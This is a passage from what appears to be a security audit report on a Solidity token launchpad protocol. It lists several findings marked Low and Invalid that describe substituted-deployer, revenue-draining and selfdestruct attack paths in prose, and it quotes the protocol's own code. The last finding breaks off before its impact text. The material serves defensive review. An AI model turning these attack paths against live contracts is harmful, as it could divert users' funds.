`Launchpad` authenticates its injected `coinDeployer` only by checking that the address contains deployed bytecode; it does not verify the helper's runtime identity or bind it to the canonical `CoinDeployer` implementation. During `_deployCoinAndSignal`, the Launchpad accepts whatever address the helper returns as `r.coin`, then later invokes token setup, mint, burn, and ownership operations through `Coin(r.coin)` casts. A substituted helper can therefore return an attacker-controlled contract that implements those selectors without being the canonical `Coin`, while the Launchpad wires that address into the Fund and signaling graph. This violates the deployment invariant that a successful Launchpad launch produces a canonical Coin graph.
## Root cause

The Launchpad's dependency check is code-presence-only, and the Coin deployment callsite does not validate the returned address against the canonical `Coin` implementation or a trusted code hash.
## Impact

A launchpad deployed with a substituted helper can create a token whose transfer, mint, burn, and accounting behavior is controlled by the substitute rather than by the protocol's `Coin` implementation. Users who fund such a graph can have seed assets and downstream accounting routed through attacker-controlled semantics; the path requires the Launchpad to have been deployed with the unverified helper configuration.

---

# Standalone helper bypasses metadata bounds
**#303246**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/CoinDeployer.sol`
#### Lines 19-24 — _Public helper forwards caller-supplied name and symbol directly to `Coin`._

```
    function deploy(string calldata name, string calldata symbol, address creator, uint256 creatorNonce)
        external
        returns (Coin coin)
    {
        coin = new Coin{ salt: _salt(msg.sender, creator, creatorNonce) }(name, symbol, msg.sender);
    }
```
### `Uploaded archive/packages/contracts/src/core/Coin.sol`
#### Lines 69-80 — _Coin constructor accepts and stores immutable name and symbol with no metadata bounds._

```
    /// @notice Creates Coin with immutable name and symbol, minimal ERC-1046 metadata, and zero supply.
    /// @dev `initialMinter` may mint during setup and perform the one-time handoff to Mine.
    /// @param name_ Immutable ERC-20 name and ERC-2612 permit domain name.
    /// @param symbol_ Immutable ERC-20 ticker.
    /// @param initialMinter Initial owner and setup mint authority; ownership and mint authority are independent.
    constructor(string memory name_, string memory symbol_, address initialMinter)
        ERC20(name_, symbol_)
        ERC20Permit(name_)
        Ownable(initialMinter)
    {
        minter = initialMinter;
    }
```
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol`
#### Lines 433-447 — _Canonical launch path applies nonempty and maximum-byte checks before deployment._

```
    function _validate(
        string calldata name,
        string calldata symbol,
        address creatorFeeRecipient,
        address signalManager,
        LaunchConfig calldata c
    ) private view {
        if (block.timestamp > c.deadline) revert DeadlinePassed();
        if (
            bytes(name).length == 0 || bytes(name).length > MAX_NAME_BYTES || bytes(symbol).length == 0
                || bytes(symbol).length > MAX_SYMBOL_BYTES || c.baseToken.code.length == 0 || c.baseSeedAmount == 0
                || c.coinSeedAmount == 0 || c.coinSeedAmount > MAX_COIN_SEED_AMOUNT
                || c.creatorCoinAmount > MAX_CREATOR_COIN_AMOUNT || IERC20Metadata(c.baseToken).decimals() > 18
                || (c.receiveSwapFees && creatorFeeRecipient == address(0))
        ) revert InvalidLaunchConfig();
```
## Description

The public `CoinDeployer.deploy` entry point forwards `name` and `symbol` directly into the `Coin` constructor without applying the Launchpad's length or nonempty checks. A direct caller can therefore deploy a Coin with empty or oversized display metadata, whereas `Launchpad._validate` restricts names to 1–64 bytes and symbols to 1–16 bytes before invoking the helper. The constructor accepts these strings as immutable ERC-20 metadata, and the direct helper caller is also intentionally the initial owner and minter. This is outside the canonical `Launchpad.launch` path and is an informational policy inconsistency rather than a supply-authority bypass.
## Root cause

Metadata bounds are enforced only in `Launchpad._validate`, not in the public `CoinDeployer.deploy` API or the `Coin` constructor.
## Impact

Standalone helper consumers may create Coin contracts that violate the metadata bounds expected by Launchpad-facing tooling or registries. No security-relevant impact is present on canonical launches because Launchpad validates the fields before calling the helper.

---

# Mismatched Router Traps Mining Revenue
**#303251**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/MineDeployer.sol`
#### Lines 18-20 — _The helper forwards independently supplied USDG and router arguments._

```
    function deploy(Coin coin, IERC20 usdg, address fund, address resonanceRouter) external returns (Mine mine) {
        mine = new Mine(address(coin), usdg, fund, resonanceRouter, msg.sender);
    }
```
### `Uploaded archive/packages/contracts/src/core/Mine.sol` (3 locations)
#### Lines 198-212 — _Mine stores the independently supplied USDG and router after only code checks._

```
    constructor(address coin_, IERC20 usdg_, address fund_, address revenueRouter_, address initialOwner)
        Ownable(initialOwner)
    {
        if (
            coin_ == address(0) || address(usdg_) == address(0) || fund_ == address(0) || revenueRouter_ == address(0)
                || coin_.code.length == 0 || address(usdg_).code.length == 0 || fund_.code.length == 0
                || revenueRouter_.code.length == 0
        ) revert ZeroAddress();
        coin = ICoin(coin_);
        usdg = usdg_;
        fund = fund_;
        launchpad = ILaunchpad(initialOwner);
        startTime = block.timestamp;
        revenueRouter = revenueRouter_;
        _slot = _emptySlot();
```
⋯
#### Lines 278-305 — _Paid mining snapshots the router and transfers the payment remainder to it._

```
        PaymentConfig memory fees;
        if (paymentAmount != 0) {
            fees = PaymentConfig({
                creator: creatorFeeRecipient,
                protocol: launchpad.protocolFeeRecipient(),
                creatorBps: creatorFeeBps,
                protocolBps: launchpad.protocolFeeBps(),
                revenue: revenueRouter
            });
        }

        _settleSlot(previousSlot);

        uint256 revenueAmount = _allocatePayment(previousSlot.miner, fees, expectedEpochId, paymentAmount);
        Slot memory nextSlot = Slot({
            epochId: expectedEpochId + 1,
            initialPrice: _nextInitialPrice(paymentAmount),
            auctionStartedAt: block.timestamp,
            tps: _globalTps(),
            miner: miner,
            message: message
        });

        _slot = nextSlot;

        if (paymentAmount != 0) {
            _collectAndDeposit(msg.sender, fees.revenue, expectedEpochId, paymentAmount, revenueAmount);
        }
```
⋯
#### Lines 415-433 — _The transfer uses Mine.usdg without verifying the destination's token._

```
    /// @dev Pulls the complete raw USDG payment from `payer`, then transfers the exhaustive remainder to
    ///      the snapshotted revenue destination. The retained balance backs all pull claims. Sender and receiver
    ///      balance deltas are not checked because USDG is assumed to be a standard, non-rebasing ERC-20.
    /// @param payer Account funding the replacement.
    /// @param router Revenue destination snapshotted before the replacement's token interactions.
    /// @param epochId Identifier of the tenure consumed by the replacement.
    /// @param paymentAmount Complete raw USDG amount pulled from `payer`.
    /// @param revenueAmount Raw USDG amount transferred to the snapshotted destination.
    function _collectAndDeposit(
        address payer,
        address router,
        uint256 epochId,
        uint256 paymentAmount,
        uint256 revenueAmount
    ) private {
        usdg.safeTransferFrom(payer, address(this), paymentAmount);
        usdg.safeTransfer(router, revenueAmount);

        emit RevenueDeposited(epochId, router, revenueAmount);
```
### `Uploaded archive/packages/contracts/src/core/ResonanceRouter.sol` (2 locations)
#### Lines 44-57 — _The router's USDG dependency is immutable and independently selected._

```
    /// @notice Creates an immutable USDG route into a single Resonance receiver.
    /// @dev Both dependencies must be nonzero deployed contracts. Launchpad later binds this Router to Resonance during
    ///      the same atomic launch transaction.
    /// @param usdg_ USDG token forwarded by the Router.
    /// @param resonance_ Resonance contract that receives and schedules routed USDG.
    constructor(IERC20 usdg_, address resonance_) {
        if (
            address(usdg_) == address(0) || resonance_ == address(0) || address(usdg_).code.length == 0
                || resonance_.code.length == 0
        ) revert ZeroAddress();

        usdg = usdg_;
        resonance = resonance_;
    }
```
⋯
#### Lines 60-79 — _Routing measures and forwards only the router's own USDG balance._

```
    function route() external override nonReentrant returns (uint256 amount) {
        uint256 pending = usdg.balanceOf(address(this));
        if (pending == 0) revert NoRevenue();

        IResonance configuredResonance = IResonance(resonance);
        if (configuredResonance.totalSignalWeight() == 0) revert NoActiveSignal();
        uint256 minimum = configuredResonance.remainingRevenue();
        uint256 duration = configuredResonance.REWARD_DURATION();
        if (minimum < duration) minimum = duration;
        if (pending < minimum) {
            emit RevenueHeld(msg.sender, pending, minimum);
            return 0;
        }

        amount = pending;

        usdg.forceApprove(resonance, amount);
        configuredResonance.notifyRevenue(amount);

        emit RevenueRouted(msg.sender, amount);
```
## Description

`Mine` accepts an arbitrary deployed-code revenue router without checking that the router consumes the same USDG token as the Mine. Each paid replacement transfers the computed revenue remainder using the Mine's immutable `usdg` token to `fees.revenue`, while the canonical `ResonanceRouter` reads and forwards only its own immutable `usdg` address. A directly deployed or custom-assembled Mine can therefore send payment-token USDG to a router configured for a different ERC-20; the router's balance check sees no qualifying revenue and has no rescue path in this component. The canonical Launchpad avoids this mismatch by constructing the router with the Launchpad's USDG and passing that router to Mine, so this is an alternate-helper configuration defect rather than a canonical launch defect.
## Root cause

The constructor validates only nonzero code for the revenue router and never checks token identity across `Mine.usdg`, `ResonanceRouter.usdg`, and the intended Resonance graph. The payment transfer and routing contracts consequently rely on an unenforced cross-contract token invariant.
## Impact

The revenue remainder of paid mining replacements can become permanently stranded in a router that tracks another token, depriving the intended Resonance stream and leaving the Mine's accounting inconsistent with the expected revenue graph. The direct deployer caller or later Mine owner can repair the route before further payments using `setRevenueRouter`, but payments already sent to the mismatched router are not recovered by the shown routing logic.

---

# Unverified Signal Deployer Captures Graph
**#303252**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol` (4 locations)
#### Lines 208-218 — _Constructor validates only deployed bytecode for the injected deployer dependencies._

```
        _requireContract(address(usdg_));
        _requireContract(address(poolFactory_));
        _requireContract(address(deployers_.coinDeployer));
        _requireContract(address(deployers_.fundDeployer));
        _requireContract(address(deployers_.signalDeployer));
        _requireContract(address(deployers_.mineDeployer));
        _requireContract(address(deployers_.resonanceDeployer));
        _requireContract(address(deployers_.routerDeployer));
        _requireContract(address(deployers_.controllerDeployer));
        _requireContract(address(deployers_.bribeFactory));
        _requireContract(address(deployers_.auctionFactory));
```
⋯
#### Lines 321-325 — _Launch stores the arbitrary SignalDeployer return address as the graph's SignalCoin._

```
    function _deployCoinAndSignal(LaunchRecord memory r, string calldata name, string calldata symbol) private {
        r.coin = address(coinDeployer.deploy(name, symbol, r.originalCreator, r.creatorNonce));
        r.fund = address(fundDeployer.deploy(r.coin));
        r.signalCoin =
            address(signalDeployer.deploy(IERC20(r.coin), string.concat("Signal ", name), string.concat("s", symbol)));
```
⋯
#### Lines 334-341 — _Resonance is built with the returned signal address and setup dispatches to it by ABI._

```
        r.resonanceRouter = address(routerDeployer.deploy(IERC20(address(usdg)), Resonance(r.resonance)));
        Mine mine = mineDeployer.deploy(Coin(r.coin), IERC20(address(usdg)), r.fund, r.resonanceRouter);
        r.mine = address(mine);
        Coin(r.coin).setTokenURI(metadataURI);
        mine.setCreatorFeeBps(creatorFeeBps);
        mine.setCreatorFeeRecipient(creatorFeeRecipient);
        SignalCoin(r.signalCoin).setResonance(r.resonance);
        Resonance(r.resonance).setResonanceRouter(r.resonanceRouter);
```
⋯
#### Lines 389-414 — _The returned address is used for creator signal initialization and ownership renunciation before launch completion._

```
    /// @dev Issues the optional creator grant, then permanently assigns all future Coin minting to Mine.
    function _grantCreator(LaunchRecord memory r) private {
        SignalCoin signal = SignalCoin(r.signalCoin);
        uint256 amount = r.creatorCoinAmount;
        if (amount != 0) {
            if (r.autoSignalCreator) {
                Coin(r.coin).mint(address(this), amount);
                IERC20(r.coin).forceApprove(r.signalCoin, amount);
                signal.initializeCreatorSignal(r.originalCreator, r.auctions[2], amount);
                IERC20(r.coin).forceApprove(r.signalCoin, 0);
            } else {
                Coin(r.coin).mint(r.originalCreator, amount);
            }
        }
        // Close launch-time minting even when the creator grant is zero.
        Coin(r.coin).setMinter(r.mine);
    }

    /// @dev Disables SignalCoin setup and hands component administration to the creator-owned controller.
    function _completeOwnership(LaunchRecord memory r) private {
        SignalCoin(r.signalCoin).renounceOwnership();
        Coin(r.coin).transferOwnership(r.controller);
        Mine(r.mine).transferOwnership(r.controller);
        Resonance(r.resonance).transferOwnership(r.controller);
        FullRangeERC20(r.pool).transferOwnership(r.controller);
    }
```
### `Uploaded archive/packages/contracts/src/core/Resonance.sol`
#### Lines 216-219 — _Resonance authorizes signal mutations solely by the immutable SignalCoin caller address._

```
    /// @dev Restricts signal-weight mutations to the immutable `signalCoin` coordinator.
    modifier onlySignalCoin() {
        if (msg.sender != address(signalCoin)) revert UnauthorizedSignalSource(msg.sender);
        _;
```
### `Uploaded archive/packages/contracts/src/launch/SignalDeployer.sol`
#### Lines 16-20 — _The canonical helper deploys SignalCoin with the helper caller as initial owner but has no registry or validation state._

```
    function deploy(IERC20 coin, string calldata name, string calldata symbol)
        external
        returns (SignalCoin signalCoin)
    {
        signalCoin = new SignalCoin(coin, name, symbol, msg.sender);
```
## Description

`Launchpad` authenticates the injected `SignalDeployer` only by checking that its address has bytecode, then accepts whatever address its `deploy` call returns as `r.signalCoin`. The returned address is later invoked as a `SignalCoin` for `setResonance`, optional `initializeCreatorSignal`, and `renounceOwnership`, but no runtime identity or immutable-underlying check is performed. A substituted deployer can therefore return a look-alike contract implementing those selectors while `Resonance` is constructed with that look-alike as its immutable `signalCoin`. That contract is then the sole address accepted by `Resonance.onlySignalCoin`, so it can fabricate or remove signal weights and route bribe/revenue accounting without being a real escrowed SignalCoin. The canonical `SignalDeployer` itself is stateless and correctly passes its caller as the initial owner; the defect is the Launchpad trust boundary around an injected implementation.
## Root cause

The Launchpad treats bytecode presence and ABI-call success as proof that the injected `SignalDeployer` and its returned address are canonical `SignalCoin` implementations. It never validates the returned token's code identity or verifies that the Resonance graph and SignalCoin mutually bind to one another.
## Impact

A Launchpad deployed with a malicious or incompatible SignalDeployer can publish a graph whose recorded SignalCoin is not an escrow token. The substituted coordinator can manipulate the Resonance signal ledger and associated reward weights, causing launch participants to receive a materially incorrect allocation of revenue or bribes and potentially making signal exits behave incorrectly.

---

# Unverified Controller Deployer Captures Launch Ownership
**#303255**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol` (3 locations)
#### Lines 208-218 — _The constructor checks only that the injected dependency addresses contain code._

```
        _requireContract(address(usdg_));
        _requireContract(address(poolFactory_));
        _requireContract(address(deployers_.coinDeployer));
        _requireContract(address(deployers_.fundDeployer));
        _requireContract(address(deployers_.signalDeployer));
        _requireContract(address(deployers_.mineDeployer));
        _requireContract(address(deployers_.resonanceDeployer));
        _requireContract(address(deployers_.routerDeployer));
        _requireContract(address(deployers_.controllerDeployer));
        _requireContract(address(deployers_.bribeFactory));
        _requireContract(address(deployers_.auctionFactory));
```
⋯
#### Lines 260-267 — _The helper return value becomes `result.controller` and is used without validation._

```
        result.controller = address(
            controllerDeployer.deploy(
                result.originalCreator, result.coin, Mine(result.mine), Resonance(result.resonance)
            )
        );
        _addStrategies(result, config);
        _grantCreator(result);
        _completeOwnership(result);
```
⋯
#### Lines 407-414 — _Finalization transfers all relevant component ownership to the unchecked controller address._

```
    /// @dev Disables SignalCoin setup and hands component administration to the creator-owned controller.
    function _completeOwnership(LaunchRecord memory r) private {
        SignalCoin(r.signalCoin).renounceOwnership();
        Coin(r.coin).transferOwnership(r.controller);
        Mine(r.mine).transferOwnership(r.controller);
        Resonance(r.resonance).transferOwnership(r.controller);
        FullRangeERC20(r.pool).transferOwnership(r.controller);
    }
```
### `Uploaded archive/packages/contracts/src/core/FundController.sol` (2 locations)
#### Lines 41-50 — _The controller constructor validates only zero/code presence for its immutable references, not graph identity or interface behavior._

```
    constructor(address initialOwner, address coin_, Mine mine_, Resonance resonance_) Ownable(initialOwner) {
        if (
            coin_ == address(0) || address(mine_) == address(0) || address(resonance_) == address(0)
                || coin_.code.length == 0 || address(mine_).code.length == 0 || address(resonance_).code.length == 0
        ) revert ZeroAddress();

        coin = coin_;
        mine = mine_;
        resonance = resonance_;
    }
```
⋯
#### Lines 93-103 — _A controller owner can redirect future Mine revenue and change Resonance administration through privileged forwarders._

```
    /// @notice Changes where future Mine revenue is deposited, without migrating old balances, signals, or rewards.
    /// @dev This controller remains bound to the original Resonance, which is not called during redirection.
    /// @param newRouter Contract receiving future mining revenue, including a replacement router or the Fund.
    function setRevenueRouter(address newRouter) external onlyOwner {
        mine.setRevenueRouter(newRouter);
    }

    /// @notice Replaces the wallet allowed to make future managed signal additions without moving existing positions.
    function setSignalManager(address newSignalManager) external onlyOwner {
        resonance.setSignalManager(newSignalManager);
    }
```
## Description

`Launchpad` authenticates the injected `controllerDeployer` only by checking that its address contains bytecode, then stores that address as an immutable dependency. During every launch it calls the helper and accepts the returned `FundController` address without checking that it is deployed, that its owner is `originalCreator`, or that its immutable references equal the just-created Coin, Mine, and Resonance. The finalization path then transfers Coin, Mine, Resonance, and LP-token ownership directly to that unchecked address. An alternate deployed helper can therefore ignore the supplied graph arguments and return an attacker-controlled EOA or contract; the ordinary OpenZeppelin ownership transfer accepts any nonzero address immediately, while `FundController`'s own constructor checks only nonzero/code presence for its three references.
## Root cause

The Launchpad trusts an externally injected deployer and its return value based only on address-level code presence. Ownership is transferred to the returned address without validating controller identity, owner, immutable graph bindings, or deployed code.
## Impact

A Launchpad configured with a malicious or substituted controller deployer hands the launch's administrative ownership to the helper-selected recipient instead of the creator. The recipient can change Mine's revenue destination and fee settings, administer Resonance, change Coin metadata, and control LP-token fee administration; redirecting future mining revenue can divert the protocol's subsequent revenue flow.

---

# Unverified Resonance Captures Revenue Graph
**#303256**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/launch/Launchpad.sol` (3 locations)
#### Lines 208-218 — _Constructor accepts deployer and factory dependencies after code-presence checks only._

```
        _requireContract(address(usdg_));
        _requireContract(address(poolFactory_));
        _requireContract(address(deployers_.coinDeployer));
        _requireContract(address(deployers_.fundDeployer));
        _requireContract(address(deployers_.signalDeployer));
        _requireContract(address(deployers_.mineDeployer));
        _requireContract(address(deployers_.resonanceDeployer));
        _requireContract(address(deployers_.routerDeployer));
        _requireContract(address(deployers_.controllerDeployer));
        _requireContract(address(deployers_.bribeFactory));
        _requireContract(address(deployers_.auctionFactory));
```
⋯
#### Lines 313-317 — _Launchpad trusts the deployer's returned address as the Resonance component._

```
        r.resonance = address(
            resonanceDeployer.deploy(
                IERC20(r.signalCoin), IERC20(address(usdg)), r.fund, bribeFactory, auctionFactory, signalManager
            )
        );
```
⋯
#### Lines 334-341 — _Canonical Router and SignalCoin are bound through calls to the unverified returned address._

```
        r.resonanceRouter = address(routerDeployer.deploy(IERC20(address(usdg)), Resonance(r.resonance)));
        Mine mine = mineDeployer.deploy(Coin(r.coin), IERC20(address(usdg)), r.fund, r.resonanceRouter);
        r.mine = address(mine);
        Coin(r.coin).setTokenURI(metadataURI);
        mine.setCreatorFeeBps(creatorFeeBps);
        mine.setCreatorFeeRecipient(creatorFeeRecipient);
        SignalCoin(r.signalCoin).setResonance(r.resonance);
        Resonance(r.resonance).setResonanceRouter(r.resonanceRouter);
```
### `Uploaded archive/packages/contracts/src/launch/ResonanceDeployer.sol`
#### Lines 20-29 — _Deployer forwards arguments to a new Resonance and returns it without an identity or interface attestation._

```
    function deploy(
        IERC20 signalCoin,
        IERC20 usdg,
        address fund,
        BribeFactory bribeFactory,
        AuctionFactory auctionFactory,
        address signalManager
    ) external returns (Resonance resonance) {
        resonance = new Resonance(signalCoin, usdg, fund, bribeFactory, auctionFactory, msg.sender, signalManager);
    }
```
### `Uploaded archive/packages/contracts/src/core/ResonanceRouter.sol`
#### Lines 60-77 — _Router approves and calls the immutable Resonance address with its full buffered balance._

```
    function route() external override nonReentrant returns (uint256 amount) {
        uint256 pending = usdg.balanceOf(address(this));
        if (pending == 0) revert NoRevenue();

        IResonance configuredResonance = IResonance(resonance);
        if (configuredResonance.totalSignalWeight() == 0) revert NoActiveSignal();
        uint256 minimum = configuredResonance.remainingRevenue();
        uint256 duration = configuredResonance.REWARD_DURATION();
        if (minimum < duration) minimum = duration;
        if (pending < minimum) {
            emit RevenueHeld(msg.sender, pending, minimum);
            return 0;
        }

        amount = pending;

        usdg.forceApprove(resonance, amount);
        configuredResonance.notifyRevenue(amount);
```
### `Uploaded archive/packages/contracts/src/core/Mine.sol` (2 locations)
#### Lines 278-285 — _Mining snapshots the configured revenue destination._

```
        PaymentConfig memory fees;
        if (paymentAmount != 0) {
            fees = PaymentConfig({
                creator: creatorFeeRecipient,
                protocol: launchpad.protocolFeeRecipient(),
                creatorBps: creatorFeeBps,
                protocolBps: launchpad.protocolFeeBps(),
                revenue: revenueRouter
```
⋯
#### Lines 303-305 — _Mining transfers the revenue remainder to the snapshotted destination._

```
        if (paymentAmount != 0) {
            _collectAndDeposit(msg.sender, fees.revenue, expectedEpochId, paymentAmount, revenueAmount);
        }
```
## Description

The Launchpad authenticates its immutable deployer dependencies only by checking that their addresses contain bytecode, and it never validates the `Resonance` address returned by `ResonanceDeployer`. `ResonanceDeployer.deploy` forwards the caller-supplied graph arguments into a new `Resonance`, but a substituted deployer can instead return a code-bearing contract implementing only the setup selectors that `Launchpad` calls. The launch then binds the canonical `SignalCoin` and `ResonanceRouter` to that returned address, invokes its strategy setup, and proceeds to complete the ownership handoff without proving that the address is a real `Resonance` or that its immutable graph matches the launch. The resulting router trusts the bound address for its view checks, approves it for the entire buffered USDG balance, and calls `notifyRevenue`, so a fake implementation can pull the routed mining revenue with `transferFrom`.
## Root cause

`Launchpad` validates injected deployers and the returned `Resonance` only as code-bearing addresses, while `ResonanceDeployer` does not attest that it returned the canonical implementation or that its supplied dependencies match the launch graph. The downstream router and setup calls therefore establish authority from an unauthenticated address.
## Impact

A Launchpad configured with a malicious or incompatible `ResonanceDeployer` can complete apparently successful launches whose future mining revenue is routed to attacker-controlled code. Once the buffer reaches the route threshold, the fake receiver can consume the router allowance and transfer the USDG away instead of scheduling it for the intended strategies.

---

# Same-tx create/selfdestruct can brick the launchpad binding
**#303277**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/periphery/Periphery.sol`
#### Lines 51-58 — _Code-length check is evaluated only once at construction time._

```
    /// @notice Binds the helper permanently to one deployed Launchpad.
    /// @param launchpad_ Canonical Launchpad used to resolve every Mine and Fund.
    constructor(Launchpad launchpad_) {
        if (address(launchpad_) == address(0) || address(launchpad_).code.length == 0) {
            revert InvalidLaunchpad(address(launchpad_));
        }
        launchpad = launchpad_;
    }
```
### `Uploaded archive/packages/contracts/src/periphery/OperationsPeriphery.sol`
#### Lines 48-53 — _Identical one-time code-length check duplicated in OperationsPeriphery._

```
    /// @notice Binds this helper to one Launchpad for its lifetime.
    /// @param launchpad_ Nonzero deployed Launchpad whose Coins this helper maintains.
    constructor(Launchpad launchpad_) {
        if (address(launchpad_) == address(0) || address(launchpad_).code.length == 0) revert InvalidInput();
        launchpad = launchpad_;
    }
```
### `Uploaded archive/packages/contracts/foundry.toml`
#### Line 9 — _evm_version = cancun activates EIP-6780 same-transaction SELFDESTRUCT semantics relevant to this edge case._

```
evm_version = "cancun"
```
## Description

The constructor's guard `address(launchpad_).code.length == 0` is evaluated once, at construction time, and is treated by the codebase (per its own documentation: 'Binds the helper permanently to one deployed Launchpad') as establishing a durable invariant that `launchpad` always has code. Under the Cancun EVM target configured in `foundry.toml` (`evm_version = "cancun"`), `SELFDESTRUCT` only removes a contract's code/storage when the contract was created in the same transaction that destroys it (EIP-6780); outside that case it merely transfers balance. This means the only way to defeat the constructor's code-length check after the fact is a same-transaction CREATE followed by SELFDESTRUCT of the candidate 'Launchpad' contract, performed by whoever controls the deployment transaction (e.g. a compromised or buggy deployment script), after which the immutable `launchpad` reference points at an address with zero code for the lifetime of the (ownerless, non-upgradeable) wrapper.
## Root cause

The constructor check in `Periphery.sol:53-58` (and `OperationsPeriphery.sol:50-53`) only guarantees code presence at the instant of construction; it provides no protection against the bound address losing its code within the same deployment transaction via EIP-6780-compliant self-destruction of a just-created contract.
## Impact

A deployment transaction that first creates a throwaway 'Launchpad-shaped' contract, deploys `Periphery`/`OperationsPeriphery` against it, and then self-destructs the throwaway contract (all within one transaction) leaves the wrapper's immutable `launchpad` field pointing at a code-less address once the transaction completes. Every subsequent call into `redeem()`, `mine()`, or `run()` that queries `launchpad.getLaunch(...)` will revert permanently, and because the contract has no owner and no upgrade path, the deployed instance is unrecoverable and must be abandoned. This is a deployment-process risk rather than an externally triggerable attack against an already-live, correctly bound instance, but it demonstrates that the documented 'permanently bind to a deployed Launchpad' invariant is not actually enforced beyond the single evaluation inside the constructor.

---

# Per-Mint Issuance Cap Is Not Enforced
**#303285**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/README.md`
#### Lines 37-43 — _Documentation states that each mint is independently bounded at one billion Coin._

```
Coin starts at zero supply and supports ERC-2612 permit. Its initial setup authority can mint before handing
authority permanently to one Mine. Canonical Launchpad mints the explicit Coin liquidity seed and optional creator grant,
then locks minting authority to Mine. The seed is paired with the supplied ERC-20 base in a full-range wrapper and its
initial LP shares are permanently locked. The separate creator grant goes to the creator wallet or seeds creator-owned
signal on the LP auction. Each mint is bounded independently at one billion Coin. Later issuance is settled mining
emission; Mine has no genesis authority, flag, or special mint function. Lifetime minted supply includes launch mints,
while mining totals exclude them.
```
### `Uploaded archive/packages/contracts/src/core/Coin.sol`
#### Lines 111-123 — _Coin.mint has no amount upper-bound check and records the full supplied amount._

```
    /// @notice Mints Coin through the current setup authority or permanently selected Mine.
    /// @dev Callable only by `minter`. Increases both total supply and the monotonic lifetime-minted count.
    /// @param account Nonzero account receiving the newly issued Coin.
    /// @param amount Nonzero raw Coin amount to mint.
    function mint(address account, uint256 amount) external override {
        if (msg.sender != minter) revert NotMinter(msg.sender);
        if (account == address(0)) revert ZeroAddress();
        if (amount == 0) revert ZeroAmount();

        lifetimeMinted += amount;
        _mint(account, amount);
        emit Minted(account, amount);
    }
```
### `Uploaded archive/packages/contracts/src/core/Mine.sol`
#### Lines 363-373 — _Mine computes complete elapsed emission and passes it as one Coin mint._

```
    /// @dev Mints the outgoing slot's complete tenure accrual. Empty tenures and zero-duration tenures have no effect.
    /// @param previousSlot Snapshot of the outgoing tenure taken before the replacement.
    function _settleSlot(Slot memory previousSlot) private {
        if (previousSlot.miner == address(0)) return;

        uint256 amount = (block.timestamp - previousSlot.auctionStartedAt) * previousSlot.tps;
        if (amount == 0) return;

        totalMined += amount;
        coin.mint(previousSlot.miner, amount);
        emit EmissionSettled(previousSlot.miner, previousSlot.epochId, amount);
```
## Description

The project README documents that every Coin mint is independently bounded at one billion Coin, but `Coin.mint` validates only caller, recipient, and nonzero amount; it has no per-call upper bound. After a tenure remains active long enough, the permissionless replacement path settles the entire elapsed emission in one call to `coin.mint`, with the amount calculated as elapsed seconds multiplied by the tenure rate. At the initial 64 Coin-per-second rate, an active tenure exceeding roughly 180 days produces a settlement above one billion Coin in a single mint. This violates the documented per-mint issuance invariant even though the lifetime counters still reconcile arithmetically.
## Root cause

The documented per-mint cap is not represented by a Coin constant or enforced in `Coin.mint`, and Mine settles all accrued tenure emission in one unbounded mint call.
## Impact

A long-lived mining tenure can be settled through one mint that exceeds the documented one-billion-Coin per-mint limit, producing an issuance event larger than the stated policy and potentially causing the associated dilution and downstream accounting assumptions. The amount is reached through valid elapsed time and permissionless settlement rather than an unauthorized caller bypassing the Mine authority.

---

# Protocol fee basis points unbounded inside Mine's payment allocation
**#303294**
- Severity: Low
- Validity: Invalid
## Source locations
### `Uploaded archive/packages/contracts/src/core/Mine.sol`
#### Lines 382-413 — _No local bound/invariant check that creatorBps+protocolBps+PREVIOUS_MINER_BPS <= BPS before the subtraction._

```
    function _allocatePayment(address previousMiner, PaymentConfig memory fees, uint256 epochId, uint256 paymentAmount)
        private
        returns (uint256 revenueAmount)
    {
        if (paymentAmount == 0) return 0;

        uint256 previousMinerAmount;
        if (previousMiner != address(0)) {
            previousMinerAmount = Math.mulDiv(paymentAmount, PREVIOUS_MINER_BPS, BPS);
            claimablePayment[previousMiner] += previousMinerAmount;
            totalClaimablePayments += previousMinerAmount;
            emit MinerPaymentAccrued(previousMiner, epochId, previousMinerAmount);
        }

        uint256 creatorAmount;
        if (fees.creator != address(0)) {
            creatorAmount = Math.mulDiv(paymentAmount, fees.creatorBps, BPS);
            claimablePayment[fees.creator] += creatorAmount;
            totalClaimablePayments += creatorAmount;
            emit CreatorFeeAccrued(fees.creator, epochId, creatorAmount);
        }

        uint256 protocolAmount;
        if (fees.protocol != address(0)) {
            protocolAmount = Math.mulDiv(paymentAmount, fees.protocolBps, BPS);
            claimablePayment[fees.protocol] += protocolAmount;
            totalClaimablePayments += protocolAmount;
            emit ProtocolFeeAccrued(fees.protocol, epochId, protocolAmount);
        }

        revenueAmount = paymentAmount - previousMinerAmount - creatorAmount - protocolAmount;
    }
```
## Description

`Mine._allocatePayment` (Mine.sol:382-413) applies `fees.creatorBps` and `fees.protocolBps` via `Math.mulDiv(paymentAmount, X, BPS)` with no upper-bound check within the function itself. For the creator share this is safe only because `Mine.setCreatorFeeBps` independently clamps `creatorFeeBps` to `[MIN_CREATOR_FEE_BPS, MAX_CREATOR_FEE_BPS] = [1, 200]` (Mine.sol:225-232) and the real `Launchpad.setProtocolFeeBps` clamps `protocolFeeBps` to `[1,200]` (Launchpad.sol:290-295). However, `_allocatePayment` itself has zero defense-in-depth: it never checks `previousMinerAmount + creatorAmount + protocolAmount <= paymentAmount` before computing `revenueAmount = paymentAmount - previousMinerAmount - creatorAmount - protocolAmount`, which underflows and reverts the whole replacement (a liveness/DoS risk) if any upstream bound is ever relaxed, misconfigured through a non-canonical `launchpad` binding (see sibling finding on `MineDeployer`), or if a future code change loosens the clamp.
## Root cause

`_allocatePayment`'s arithmetic assumes `PREVIOUS_MINER_BPS (8000) + creatorBps + protocolBps <= BPS (10000)` is always upheld purely by out-of-contract invariants (separately bounded setters and a trusted external `launchpad` fee source), with no local invariant check or safe-math fallback before the subtraction that computes `revenueAmount`.
## Impact

